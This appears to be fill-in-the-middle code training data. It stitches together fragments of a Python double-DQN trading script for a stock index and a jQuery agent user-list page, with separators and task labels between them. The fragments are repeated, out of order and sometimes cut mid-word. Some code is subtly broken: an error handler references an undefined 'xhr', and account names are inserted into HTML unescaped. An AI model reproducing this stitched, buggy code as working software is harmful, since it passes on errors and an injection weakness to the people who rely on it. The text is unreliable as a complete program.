start_day = '20150715'
end_day = '20151207'
nst = (datax['date']==start_day).nonzero()[0][0]
ned = (datax['date']==end_day).nonzero()[0][0]
featurest = np.float64(features[nst:ned,:])
close2t = closex[nst:ned]
Xtt = (featurest - mu1)/std1
Xtt[Xtt>3] = 3
Xtt[Xtt<-3] = -3
j = 0
R = 0
actions = []
pnl = [R]
qval_seq = []
while j<ned - nst:
s = Xtt[j,:]
qval = agent.brain.predictOne(s)
a = numpy.argmax(qval)
qval_seq.append(qval)
actions.append(a)
if j <ned - nst -1:
r = (close2t[j+1] - close2t[j])*(a - 1)
R += r
pnl.append(R)
j += 1
R
plt.plot(pnl)
plt.legend(['cumulative out-of-sample return'])
plt.savefig(r'D:\hot\book\chapter12\fig\outsample')
#u = numpy.arange(ned-nst)
#loc2 = numpy.asarray(actions)==2 ## long is red short is greed
#u2 = u[loc2]
#close22 = close2t[loc2]
#loc0 = numpy.asarray(actions)==0
#u0 = u[loc0]
#close20 = close2t[loc0]
#plt.plot(u,close2t,'-')
#plt.hold(1)
#plt.plot(u2,close22,'or')
#plt.plot(u0,close20,'og')
#plt.plot(u,np.array(pnl) + 2000)
#plot(pnl-close2t+3800)
| # slowly decrease Epsilo | conditional_block |
chapter12.py | ##############################
## Case Study (section 12.2.3)
##############################
## DDQN + PER for trading/ Trader version
## states only contain tech index/ some positive results
##程序框架使用了网页(https://github.com/jaromiru/AI-blog)的DQN程序主体架构
#import random, numpy, math, gym, scipy
import random, numpy, math, scipy
class SumTree:
write = 0
def __init__(self, capacity):
self.capacity = capacity
self.tree = numpy.zeros( 2*capacity - 1 )
self.data = numpy.zeros( capacity, dtype=object )
def _propagate(self, idx, change):
parent = (idx - 1) // 2
self.tree[parent] += change
if parent != 0:
self._propagate(parent, change)
def _retrieve(self, idx, s):
left = 2 * idx + 1
right = left + 1
if left >= len(self.tree):
return idx
if s <= self.tree[left]:
return self._retrieve(left, s)
else:
return self._retrieve(right, s-self.tree[left])
def total(self):
return self.tree[0]
def add(self, p, data):
idx = self.write + self.capacity - 1
self.data[self.write] = data
self.update(idx, p)
self.write += 1
if self.write >= self.capacity:
self.write = 0
def update(self, idx, p):
change = p - self.tree[idx]
self.tree[idx] = p
self._propagate(idx, change)
def get(self, s):
idx = self._retrieve(0, s)
dataIdx = idx - self.capacity + 1
return (idx, self.tree[idx], self.data[dataIdx])
import tensorflow as tf
print(tf.VERSION) ## 1.14.0
print(tf.keras.__version__) ## 2.2.4-tf
from keras import backend as K
#import tensorflow.keras.backend as K
#from tensorflow.python.keras import backend as K
def hubert_loss(y_true, y_pred): # sqrt(1+a^2)-1
err = y_pred - y_true
return K.mean( K.sqrt(1+K.square(err))-1, axis=-1 )
#-------------------- BRAIN ---------------------------
from keras.models import Sequential
from keras.layers import *
from keras.optimizers import *
class Brain:
def __init__(self, stateCnt, actionCnt,layers_para):
self.stateCnt = stateCnt
self.actionCnt = actionCnt
self.layer1_para = layers_para[0]
self.layer2_para = layers_para[1]
self.model = self._createModel()
self.model_ = self._createModel() # target network
def _createModel(self):
model = Sequential()
model.add(Dense(self.layer1_para, kernel_initializer='lecun_uniform', input_shape=(self.stateCnt,)))
model.add(Activation('relu'))
#model.add(Dropout(0.2)) I'm not using dropout, but maybe you wanna give it a try?
model.add(Dense(self.layer2_para, kernel_initializer='lecun_uniform'))
model.add(Activation('relu'))
#model.add(Dropout(0.2))
#model.add(Dense(150, init='lecun_uniform'))
#model.add(Activation('relu'))
model.add(Dense(3, kernel_initializer='lecun_uniform'))
model.add(Activation('linear')) #linear output so we can have range of real-valued outputs
opt = Adam()
model.compile(loss=hubert_loss, optimizer=opt)
return model
def _createModel2(self):
model = Sequential()
model.add(Dense(164, kernel_initializer='lecun_uniform', input_shape=(64,)))
model.add(Activation('relu'))
#model.add(Dropout(0.2)) I'm not using dropout, but maybe you wanna give it a try?
model.add(Dense(150, kernel_initializer='lecun_uniform'))
model.add(Activation('relu'))
#model.add(Dropout(0.2))
#model.add(Dense(150, init='lecun_uniform'))
#model.add(Activation('relu'))
model.add(Dense(1, kernel_initializer='lecun_uniform'))
model.add(Activation('linear')) #linear output so we can have range of real-valued outputs
opt = Adam()
model.compile(loss=hubert_loss, optimizer=opt)
return model
def train(self, x, y, epoch=1, verbose=0):
self.model.fit(x, y, batch_size=32, epochs=epoch, verbose=verbose)
def predict(self, s, target=False):
if target:
return self.model_.predict(s)
else:
return self.model.predict(s)
def predictOne(self, s, target=False):
return self.predict(s.reshape(1, self.stateCnt), target=target).flatten()
def updateTargetModel(self):
self.model_.set_weights(self.model.get_weights())
#-------------------- MEMORY --------------------------
class Memory: # stored as ( s, a, r, s_ ) in SumTree
e = 0.01
a = 0.6
def __init__(self, capacity):
self.tree = SumTree(capacity)
def _getPriority(self, error):
return (error + self.e) ** self.a
def add(self, error, sample):
p = self._getPriority(error)
self.tree.add(p, sample)
def sample(self, n):
batch = []
segment = self.tree.total() / n
for i in range(n):
a = segment * i
b = segment * (i + 1)
s = random.uniform(a, b)
(idx, p, data) = self.tree.get(s)
batch.append( (idx, data) )
return batch
def update(self, idx, error):
p = self._getPriority(error)
self.tree.update(idx, p)
#-------------------- AGENT ---------------------------
MEMORY_CAPACITY = 80000
BATCH_SIZE = 30
GAMMA = 0.95
MAX_EPSILON = 1
MIN_EPSILON = 0.01
EXPLORATION_STOP = 50000 # at this step epsilon will be 0.01
LAMBDA = - math.log(0.01) / EXPLORATION_STOP # speed of decay
UPDATE_TARGET_FREQUENCY = 1000
class Agent:
steps = 0
eps_steps = 0
epsilon = MAX_EPSILON
def __init__(self, stateCnt, actionCnt,layers_para):
self.stateCnt = stateCnt
self.actionCnt = actionCnt
self.brain = Brain(stateCnt, actionCnt, layers_para)
self.memory = Memory(MEMORY_CAPACITY)
def act(self, s):
if random.random() < self.epsilon:
return random.randint(0, self.actionCnt-1)
else:
return numpy.argmax(self.brain.predictOne(s))
def observe(self, sample): # in (s, a, r, s_) format
x, y, errors = self._getTargets([(0, sample)])
self.memory.add(errors[0], sample)
if self.steps % UPDATE_TARGET_FREQUENCY == 0:
self.brain.updateTargetModel()
# slowly decrease Epsilon based on our eperience
self.steps += 1
self.epsilon = MIN_EPSILON + (MAX_EPSILON - MIN_EPSILON) * math.exp(-LAMBDA * self.steps)
def _getTargets(self, batch):
no_state = numpy.zeros(self.stateCnt)
states = numpy.array([ o[1][0] for o in batch ])
states_ = numpy.array([ (no_state if o[1][3] is None else o[1][3]) for o in batch ])
p = agent.brain.predict(states)
p_ = agent.brain.predict(states_, target=False)
pTarget_ = agent.brain.predict(states_, target=True)
x = numpy.zeros((len(batch), self.stateCnt))
y = numpy.zeros((len(batch), self.actionCnt))
errors = numpy.zeros(len(batch))
for i in range(len(batch)):
o = batch[i][1]
s = o[0]; a = o[1]; r = o[2]; s_ = o[3]; done = o[4]
t = p[i]
oldVal = t[a]
if done:
t[a] = r
else:
t[a] = r + GAMMA * pTarget_[i][ numpy.argmax(p_[i]) ] # double DQN
x[i] = s
y[i] = t
errors[i] = abs(oldVal - t[a])
return (x, y, errors)
def replay(self):
batch = self.memory.sample(BATCH_SIZE)
x, y, errors = self._getTargets(batch)
#update errors
for i in range(len(batch)):
idx = batch[i][0]
self.memory.update(idx, errors[i])
self.brain.train(x, y)
##########################
## start
##########################
## processing data
import talib as ta
import pandas as pd
import matplotlib.pyplot as plt
path_HS300 = r'D:\hot\book\data\SZ399300.TXT'
hs300 = pd.read_table(path_HS300,sep='\s+',header=None,encoding = 'gbk')
hsindex = hs300[0:-1]
datax = hsindex
datax.columns = ['date','open','high','low','close','volume','turnover']
openx = np.asarray(datax['open'])
closex = np.asarray(datax['close'])
highx = np.asarray(datax['high'])
lowx = np.asarray(datax['low'])
volumex = np.asarray(datax['volume'])
turnoverx = np.asarray(datax['turnover'])
roc1 = ta.ROC(closex,1)
roc5 = ta.ROC(closex,5)
roc10 = ta.ROC(closex,10)
rsi = ta.RSI(closex,14)
ultosc = ta.ULTOSC(highx,lowx,closex)
slowk,slowd = ta.STOCH(highx,lowx,closex)
slow_diff = slowk - slowd
adx = ta.ADX(highx,lowx,closex,14)
ppo = ta.PPO(closex)
willr = ta.WILLR(highx,lowx,closex)
cci = ta.CCI(highx,lowx,closex)
bop = ta.BOP(openx,highx,lowx,closex)
std_p20 = ta.STDDEV(closex,20)
angle = ta.LINEARREG_ANGLE(closex)
mfi = ta.MFI(highx,lowx,closex,volumex)
adosc = ta.ADOSC(highx,lowx,closex,turnoverx)
## obtian training data
start_day = '20150105'
end_day = '20150714'
st = (datax['date']==start_day).nonzero()[0][0]
ed = (datax['date']==end_day).nonzero()[0][0]
features = np.column_stack((roc1, roc5, roc10,rsi,ultosc,slowk,slow_diff,adx,ppo,willr,\
cci,bop,std_p20,angle,mfi,adosc))
features2 = np.float64(features[st:ed,:])
close2 = closex[st:ed]
mu1 = np.mean(features2,axis = 0)
std1 = np.std(features2,axis = 0)
Xt = (features2 - mu1)/std1
Xt[Xt>3] = 3
Xt[Xt<-3] = -3
n,p = Xt.shape
stateCnt = p
actionCnt = 3
layers_para = [100,100]
epochs = 100
agent = Agent(stateCnt, actionCnt, layers_para)
for i in range(epochs):
j = 0
R = 0
while j<n-1:
s = Xt[j,:]
a = agent.act(s)
s_ = Xt[j+1,:]
r = (close2[j+1] - close2[j])*(a - 1)
done = False
agent.observe( (s.reshape(stateCnt,), a, r, s_.reshape(stateCnt,),done) )
agent.replay()
s = s_
R += r
j += 1
print([i,R])
####################################
## insample test
####################################
j = 0
R = 0
pnl = [R]
actions = []
while j<n-1:
s = Xt[j,:]
a = numpy.argmax(agent.brain.predictOne(s))
#a = random.randint(0, actionCnt-1)
actions.append(a)
r = (close2[j+1] - close2[j])*(a - 1)
R += r
pnl.append(R)
j += 1
R
plt.plot(pnl)
plt.legend(['cumulative insample return'])
plt.savefig(r'D:\hot\book\chapter12\fig\insample')
#R
### plot the results
#u = numpy.arange(n)
#loc2 = numpy.asarray(actions)==2
#u2 = u[loc2]
#close22 = close2[loc2]
#loc0 = numpy.asarray(actions)==0
#u0 = u[loc0]
#close20 = close2[loc0]
#plt.plot(u,close2,'-')
#plt.hold(1)
#plt.plot(u2,close22,'or')
| ## out-of-sample test
####################################
start_day = '20150715'
end_day = '20151207'
nst = (datax['date']==start_day).nonzero()[0][0]
ned = (datax['date']==end_day).nonzero()[0][0]
featurest = np.float64(features[nst:ned,:])
close2t = closex[nst:ned]
Xtt = (featurest - mu1)/std1
Xtt[Xtt>3] = 3
Xtt[Xtt<-3] = -3
j = 0
R = 0
actions = []
pnl = [R]
qval_seq = []
while j<ned - nst:
s = Xtt[j,:]
qval = agent.brain.predictOne(s)
a = numpy.argmax(qval)
qval_seq.append(qval)
actions.append(a)
if j <ned - nst -1:
r = (close2t[j+1] - close2t[j])*(a - 1)
R += r
pnl.append(R)
j += 1
R
plt.plot(pnl)
plt.legend(['cumulative out-of-sample return'])
plt.savefig(r'D:\hot\book\chapter12\fig\outsample')
#u = numpy.arange(ned-nst)
#loc2 = numpy.asarray(actions)==2 ## long is red short is greed
#u2 = u[loc2]
#close22 = close2t[loc2]
#loc0 = numpy.asarray(actions)==0
#u0 = u[loc0]
#close20 = close2t[loc0]
#plt.plot(u,close2t,'-')
#plt.hold(1)
#plt.plot(u2,close22,'or')
#plt.plot(u0,close20,'og')
#plt.plot(u,np.array(pnl) + 2000)
#plot(pnl-close2t+3800) | #plt.plot(u0,close20,'og')
####################################
| random_line_split |
userlist.js | (function ($) {
var hisArr = [];
var queryMap = {};
var account;
var rebateMode;
$.ajax({
url: $.toFullPath('/data/json/config.json'),
async: false,
dataType: 'json',
success: function (response) {
var systemConfig = response['system_config'];
for (var i = 0; i < systemConfig.length; i++) {
var config = systemConfig[i];
if (config.configKey === 'site_rebate_model') {
rebateMode = config.configValue;
}
}
},
error: function () {
rebateMode = '1';
}
});
$.extend({
openRebate: function (userId) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/agent/rebate-setting.html?'
+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&queryMap=' + queryMapFormat(
JSON.stringify(queryMap));
},
openTeam: function (userId, account) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/agent/team-overviews.html?'
+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&account=' + account + '&queryMap='
+ queryMapFormat(JSON.stringify(queryMap));
},
openDetail: function (userId) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/agent/sub-detail.html?'
+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&queryMap=' + queryMapFormat(
JSON.stringify(queryMap));
},
openBill: function (userId) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/report/bill_report.html?'
+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&queryMap=' + queryMapFormat(
JSON.stringify(queryMap));
}
})
if ($.getUrlParam('hisArr') != null) {
hisArr = $.getUrlParam('hisArr').split(",");
}
if (isNotEmpty($.getUrlParam('queryMap'))) {
queryMap = JSON.parse(queryMapResotre($.getUrlParam('queryMap')));
}
$(function () {
account = loadCurrAccount();//初始隐藏currAccount值
//设置默认查询时间 最近半年
$('#startDatePicker').datepicker({el: 'startDate'}).children('#startDate');//.val(minusMonth(6));
$('#endDatePicker').datepicker({el: 'endDate'}).children('#endDate');//.val($.dateformat(new Date(), 'yyyy-MM-dd'));
//查询按钮
$('#queryBtn').on('click', function (e) {
$('#page').val(1);
$('#rows').val(10)
$('#subAccount').val(account);
queryMap = $('#queryForm').serializeObject();
loadData(queryMap, false);
});
//重置按钮
$('#resetBtn').on('click', function () {
$('#account').val(null);
$('#moneyFrom').val(null);
$('#moneyTo').val(null);
$('#startDatePicker').datepicker({el: 'startDate'}).children(
'#startDate').val("");//.val(minusMonth(6));
$('#endDatePicker').datepicker({el: 'endDate'}).children('#endDate').val(
"");//.val($.dateformat(new Date(), 'yyyy-MM-dd'));
$('#page').val(1);
$('#rows').val(10);
$('#subAccount').val(account);
loadData($('#queryForm').serializeObject(), false);
});
//第一次返回页面条件判断
if (hisArr.length == 0 && isEmpty(queryMap)) {
//加载数据
loadData($('#queryForm').serializeObject(), false);
} else {
if (hisArr.length == 1 && isNotEmpty(queryMap)) {//最后一次,带上查询条件
loadData(queryMap, true);
//回填查询条件
loadQuery(queryMap)
queryMap = {};
} else {
var lastAccount = hisArr.pop();
if (lastAccount) {
$("#subAccount").val(lastAccount);
}
loadData({subAccount: lastAccount}, true);
}
}
});
function loadData(objectArr, isSub) {
$.loading();
$.getJSON($.toFullPath('/api/dl/querySubUsers'), objectArr,
function (response) {
var items = response.data,
keys = ['account', 'type', 'addTime','online', 'loginTime', 'money',
'rebate', 'state', 'operations'],
currAccount = $('#subAccount').val(),
tbodyOptions = {
preHandler: function (item) {
var commonStr =
'<a href="javascript:void(0)" onclick="jQuery.openDetail(\''
+ item.userId + '\')">详情</a>' +
'<a href="javascript:void(0)" onclick="jQuery.openTeam(\''
+ item.userId + '\',\'' + item.account + '\')">团队总览</a>';
var rebateStr = rebateMode !== '1'
? '<a href="javascript:void(0)" onclick="jQuery.openRebate(\''
+ item.userId + '\')">返点设定</a>' : '';
var billStr =
'<a href="javascript:void(0)" onclick="jQuery.openBill(\''
+ item.userId + '\')">账变记录</a>';
//用户类型
if (item.type === 'HY') {
var isDl = item.isDl === true;
var isSelf = item.account === currAccount;
item.type = isDl ? '代理' : '会员';
item.operations = isSelf ? commonStr + billStr : commonStr + rebateStr + billStr;
if (!isSelf && isDl) {
item.account = '<a class="sub" href="javascript:void(0)">' + item.account + '</a>';
}
} else {
item.type = '试玩会员';
}
//状态
switch (item.state) {
case 0:
item.state = '待审核';
break;
case 1:
item.state = '启用';
break;
case 2:
item.state = '停用';
break;
default:
item.state = '';
break;
}
//返点级别
item.rebate = (item.rebate).toFixed(1) + '%';
//最后登录时间
if (item.daysWithoutLogin >= 1) {
item.loginTime = item.loginTime + '(' + item.daysWithoutLogin + '天前)';
}
//用户登录状态
if(item.online==true){
item.online='在线';
}else{
item.online='离线'
};
//余额
item.money = $.toFixed(item.money);
}
},
totalRecords = response.totalCount,
paginationOptions = {
pageNo: parseInt($('#page').val()),
pageSize: parseInt($('#rows').val()),
callback: function (pageNo) {
$('#page').val(pageNo);
loadData($('#queryForm').serializeObject(), true);
}
};
$('#table>tbody').renderTbody(items, keys, tbodyOptions);
$('#pagination').pagination(totalRecords, paginationOptions)
afterLoad(isSub);
$.loaded();
}).error(function () {
$('#table>tbody').renderEmptyTbody('加载失败', 12);
$('#pagination').pagination();
$.loaded();
});
}
function afterLoad(isSub) {
if (isSub == false) {
$("#subAccount").val(account);
hisArr = [];
}
//返回按钮事件
if (hisArr.length != 0) {
if ($('#backQuery').length <= 0) {
$('<span>  </span><button id="backQuery" type="button" class="btn btn-primary btn-sm m-b-xs">返回</button>').insertAfter(
$('#resetBtn'));
$('#backQuery').on('click', function () {
if (hisArr.length == 1 && isNotEmpty(queryMap)) {//最后一次,带上查询条件
loadData(queryMap, true);
loadQuery(queryMap)//回填查询条件
queryMap = {};
} else {
if (hisArr.length == 1 && isEmpty(queryMap)) {
reset();
} else {
var lastAccount = hisArr.pop()
$("#subAccount").val(lastAccount);
loadData({subAccount: lastAccount}, true);
}
}
});
}
} else {
$('#backQuery').remove();
}
$('.sub').on('click', function () {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
var subAccount = $(this).text();
$("#subAccount").val(subAccount);
loadData({subAccount: subAccount}, true);
//点击下级 清空查询
cleanQueryForm();
});
}
function loadCurrAccount() {
var account;
$.ajax({
url: "/api/user/info",
dataType: 'json',
async: false,
cache: false,
success: function (response) {
$('#subAccount').val(response.userInfo.account);
account = response.userInfo.account;
}
}).error(function (XMLHttpRequest) {
var responseText = xhr.responseText;
try {
responseText = JSON.parse(responseText);
} catch (e) {
}
if (responseText.code === 'UC/TOKEN_INVALID') {
alert('网络连接超时,请重新登陆!');
$.cookie('token', null, {path: '/'});
window.location.href = '/views/main.html';
}
});
return account;
}
function cleanQueryForm() {
$('#account').val(null);
$('#moneyFrom').val(null);
$('#moneyTo').val(null);
$('#startDatePicker').datepicker({el: 'startDate'}).children(
'#startDate').val("");//.val(minusMonth(6));
$('#endDatePicker').datepicker({el: 'endDate'}).children('#endDate').val(
"");//.val($.dateformat(new Date(), 'yyyy-MM-dd'));
}
function reset() {
cleanQueryForm();
$('#page').val(1);
$('#rows').val(10);
$('#subAccount').val(account);
loadData($('#queryForm').serializeObject(), false);
}
function loadQuery(queryMap) {
$('#account').val(queryMap.account);
$('#moneyFrom').val(queryMap.moneyFrom);
$('#moneyTo').val(queryMap.moneyTo);
$('#startDate').val(queryMap.startDate);
$('#endDate').val(queryMap.endDate);
$('#page').val(queryMap.page);
$('#rows').val(queryMap.rows);
$('#subAccount').val(account);
}
function isEmpty(obj) {
for (var name in obj) {
return false;
}
return true;
};
function isNotEmpty(obj) {
for (var name in obj) {
return true;
}
return false;
};
function queryMapFormat(queryStr) {
return queryStr.replace("}", ']').replace("{", '[');
}
function queryMapResotre(queryStr) {
return queryStr.replace("]", '}').replace("[", '{');
}
function getProtocolPrefix() {
return (window.location.protocol || document.location.protocol) + '//';
}
function toFullPath(url) {
var protocol = getProtocolPrefix();
if (url.indexOf(protocol) === -1) {
return protocol + window.location.host + url;
}
return url;
}
//n个月以前
function minusMonth(n) {
var date = new Date();
date.setMonth(date.getMonth() - n);
var s = date.getFullYear().toString()
+ '-' + addzero(date.getMo | 日期 填充0
function addzero(v) {
if (v < 10) {
return '0' + v;
}
return v.toString();
}
})(jQuery); | nth() + 1)
+ '-' + addzero(date.getDate() + 1);
return s;
}
//月份 | identifier_body |
userlist.js | (function ($) {
var hisArr = [];
var queryMap = {};
var account;
var rebateMode;
$.ajax({
url: $.toFullPath('/data/json/config.json'),
async: false,
dataType: 'json',
success: function (response) {
var systemConfig = response['system_config'];
for (var i = 0; i < systemConfig.length; i++) {
var config = systemConfig[i];
if (config.configKey === 'site_rebate_model') {
rebateMode = config.configValue;
}
}
},
error: function () {
rebateMode = '1';
}
});
$.extend({
openRebate: function (userId) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/agent/rebate-setting.html?'
+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&queryMap=' + queryMapFormat(
JSON.stringify(queryMap));
},
openTeam: function (userId, account) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/agent/team-overviews.html?'
+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&account=' + account + '&queryMap='
+ queryMapFormat(JSON.stringify(queryMap));
},
openDetail: function (userId) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/agent/sub-detail.html?'
+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&queryMap=' + queryMapFormat(
JSON.stringify(queryMap));
},
openBill: function (userId) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/report/bill_report.html?'
+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&queryMap=' + queryMapFormat(
JSON.stringify(queryMap));
}
})
if ($.getUrlParam('hisArr') != null) {
hisArr = $.getUrlParam('hisArr').split(",");
}
if (isNotEmpty($.getUrlParam('queryMap'))) {
queryMap = JSON.parse(queryMapResotre($.getUrlParam('queryMap')));
}
$(function () {
account = loadCurrAccount();//初始隐藏currAccount值
//设置默认查询时间 最近半年
$('#startDatePicker').datepicker({el: 'startDate'}).children('#startDate');//.val(minusMonth(6));
$('#endDatePicker').datepicker({el: 'endDate'}).children('#endDate');//.val($.dateformat(new Date(), 'yyyy-MM-dd'));
//查询按钮
$('#queryBtn').on('click', function (e) {
$('#page').val(1);
$('#rows').val(10)
$('#subAccount').val(account);
queryMap = $('#queryForm').serializeObject();
loadData(queryMap, false);
});
//重置按钮
$('#resetBtn').on('click', function () {
$('#account').val(null);
$('#moneyFrom').val(null);
$('#moneyTo').val(null);
$('#startDatePicker').datepicker({el: 'startDate'}).children(
'#startDate').val("");//.val(minusMonth(6));
$('#endDatePicker').datepicker({el: 'endDate'}).children('#endDate').val(
"");//.val($.dateformat(new Date(), 'yyyy-MM-dd'));
$('#page').val(1);
$('#rows').val(10);
$('#subAccount').val(account);
loadData($('#queryForm').serializeObject(), false);
});
//第一次返回页面条件判断
if (hisArr.length == 0 && isEmpty(queryMap)) {
//加载数据
loadData($('#queryForm').serializeObject(), false);
} else {
if (hisArr.length == 1 && isNotEmpty(queryMap)) {//最后一次,带上查询条件
loadData(queryMap, true);
//回填查询条件
loadQuery(queryMap)
queryMap = {};
} else {
var lastAccount = hisArr.pop();
if (lastAccount) {
$("#subAccount").val(lastAccount);
}
loadData({subAccount: lastAccount}, true);
}
}
});
function loadData(objectArr, isSub) {
$.loading();
$.getJSON($.toFullPath('/api/dl/querySubUsers'), objectArr,
function (response) {
var items = response.data,
keys = ['account', 'type', 'addTime','online', 'loginTime', 'money',
'rebate', 'state', 'operations'],
currAccount = $('#subAccount').val(),
tbodyOptions = {
preHandler: function (item) {
var commonStr =
'<a href="javascript:void(0)" onclick="jQuery.openDetail(\''
+ item.userId + '\')">详情</a>' +
'<a href="javascript:void(0)" onclick="jQuery.openTeam(\''
+ item.userId + '\',\'' + item.account + '\')">团队总览</a>';
var rebateStr = rebateMode !== '1'
? '<a href="javascript:void(0)" onclick="jQuery.openRebate(\''
+ item.userId + '\')">返点设定</a>' : '';
var billStr =
'<a href="javascript:void(0)" onclick="jQuery.openBill(\''
+ item.userId + '\')">账变记录</a>';
//用户类型
if (item.type === 'HY') {
var isDl = item.isDl === true;
var isSelf = item.account === currAccount;
item.type = isDl ? '代理' : '会员';
item.operations = isSelf ? commonStr + billStr : commonStr + rebateStr + billStr;
if (!isSelf && isDl) {
item.account = '<a class="sub" href="javascript:void(0)">' + item.account + '</a>';
}
} else {
item.type = '试玩会员';
}
//状态
switch (item.state) {
case 0:
item.state = '待审核';
break;
case 1:
item.state = '启用';
break;
case 2:
item.state = '停用';
break;
default:
item.state = '';
break;
}
//返点级别
item.rebate = (item.rebate).toFixed(1) + '%';
//最后登录时间
if (item.daysWithoutLogin >= 1) {
item.loginTime = item.loginTime + '(' + item.daysWithoutLogin + '天前)';
}
//用户登录状态
if(item.online==true){
item.online='在线';
}else{
item.online='离线'
};
//余额
item.money = $.toFixed(item.money);
}
},
totalRecords = response.totalCount,
paginationOptions = {
pageNo: parseInt($('#page').val()),
pageSize: parseInt($('#rows').val()),
callback: function (pageNo) {
$('#page').val(pageNo);
loadData($('#queryForm').serializeObject(), true);
}
};
$('#table>tbody').renderTbody(items, keys, tbodyOptions);
$('#pagination').pagination(totalRecords, paginationOptions)
afterLoad(isSub);
$.loaded();
}).error(function () {
$('#table>tbody').renderEmptyTbody('加载失败', 12);
$('#pagination').pagination();
$.loaded();
});
}
function afterLoad(isSub) {
if (isSub == false) {
$("#subAccount").val(account);
hisArr = [];
}
//返回按钮事件
if (hisArr.length != 0) {
if ($('#backQuery').length <= 0) {
$('<span>  </span><button id="backQuery" type="button" class="btn btn-primary btn-sm m-b-xs">返回</button>').insertAfter(
$('#resetBtn'));
$('#backQuery').on('click', function () {
if (hisArr.length == 1 && isNotEmpty(queryMap)) {//最后一次,带上查询条件
loadData(queryMap, true);
loadQuery(queryMap)//回填查询条件
queryMap = {};
} else {
if (hisArr.length == 1 && isEmpty(queryMap)) {
reset();
} else {
var lastAccount = hisArr.pop()
$("#subAccount").val(lastAccount);
loadData({subAccount: lastAccount}, true);
}
}
});
}
} else {
$('#backQuery').remove();
}
$('.sub').on('click', function () {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
var subAccount = $(this).text();
$("#subAccount").val(subAccount);
loadData({subAccount: subAccount}, true);
//点击下级 清空查询
cleanQueryForm();
});
}
function loadCurrAccount() {
var account;
$.ajax({
url: "/api/user/info",
dataType: 'json',
async: false,
cache: false,
success: function (response) {
$('#subAccount').val(response.userInfo.account);
account = response.userInfo.account;
}
}).error(function (XMLHttpRequest) {
var responseText = xhr.responseText;
try {
responseText = JSON.parse(respon | } catch (e) {
}
if (responseText.code === 'UC/TOKEN_INVALID') {
alert('网络连接超时,请重新登陆!');
$.cookie('token', null, {path: '/'});
window.location.href = '/views/main.html';
}
});
return account;
}
function cleanQueryForm() {
$('#account').val(null);
$('#moneyFrom').val(null);
$('#moneyTo').val(null);
$('#startDatePicker').datepicker({el: 'startDate'}).children(
'#startDate').val("");//.val(minusMonth(6));
$('#endDatePicker').datepicker({el: 'endDate'}).children('#endDate').val(
"");//.val($.dateformat(new Date(), 'yyyy-MM-dd'));
}
function reset() {
cleanQueryForm();
$('#page').val(1);
$('#rows').val(10);
$('#subAccount').val(account);
loadData($('#queryForm').serializeObject(), false);
}
function loadQuery(queryMap) {
$('#account').val(queryMap.account);
$('#moneyFrom').val(queryMap.moneyFrom);
$('#moneyTo').val(queryMap.moneyTo);
$('#startDate').val(queryMap.startDate);
$('#endDate').val(queryMap.endDate);
$('#page').val(queryMap.page);
$('#rows').val(queryMap.rows);
$('#subAccount').val(account);
}
function isEmpty(obj) {
for (var name in obj) {
return false;
}
return true;
};
function isNotEmpty(obj) {
for (var name in obj) {
return true;
}
return false;
};
function queryMapFormat(queryStr) {
return queryStr.replace("}", ']').replace("{", '[');
}
function queryMapResotre(queryStr) {
return queryStr.replace("]", '}').replace("[", '{');
}
function getProtocolPrefix() {
return (window.location.protocol || document.location.protocol) + '//';
}
function toFullPath(url) {
var protocol = getProtocolPrefix();
if (url.indexOf(protocol) === -1) {
return protocol + window.location.host + url;
}
return url;
}
//n个月以前
function minusMonth(n) {
var date = new Date();
date.setMonth(date.getMonth() - n);
var s = date.getFullYear().toString()
+ '-' + addzero(date.getMonth() + 1)
+ '-' + addzero(date.getDate() + 1);
return s;
}
//月份 日期 填充0
function addzero(v) {
if (v < 10) {
return '0' + v;
}
return v.toString();
}
})(jQuery); | seText);
| identifier_name |
userlist.js | (function ($) {
var hisArr = [];
var queryMap = {};
var account;
var rebateMode;
$.ajax({
url: $.toFullPath('/data/json/config.json'),
async: false,
dataType: 'json',
success: function (response) {
var systemConfig = response['system_config'];
for (var i = 0; i < systemConfig.length; i++) {
var config = systemConfig[i];
if (config.configKey === 'site_rebate_model') {
rebateMode = config.configValue;
}
}
},
error: function () {
rebateMode = '1';
}
});
$.extend({
openRebate: function (userId) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/agent/rebate-setting.html?'
+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&queryMap=' + queryMapFormat(
JSON.stringify(queryMap));
},
openTeam: function (userId, account) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/agent/team-overviews.html?'
+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&account=' + account + '&queryMap='
+ queryMapFormat(JSON.stringify(queryMap));
},
openDetail: function (userId) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/agent/sub-detail.html?'
+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&queryMap=' + queryMapFormat(
JSON.stringify(queryMap));
},
openBill: function (userId) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/report/bill_report.html?'
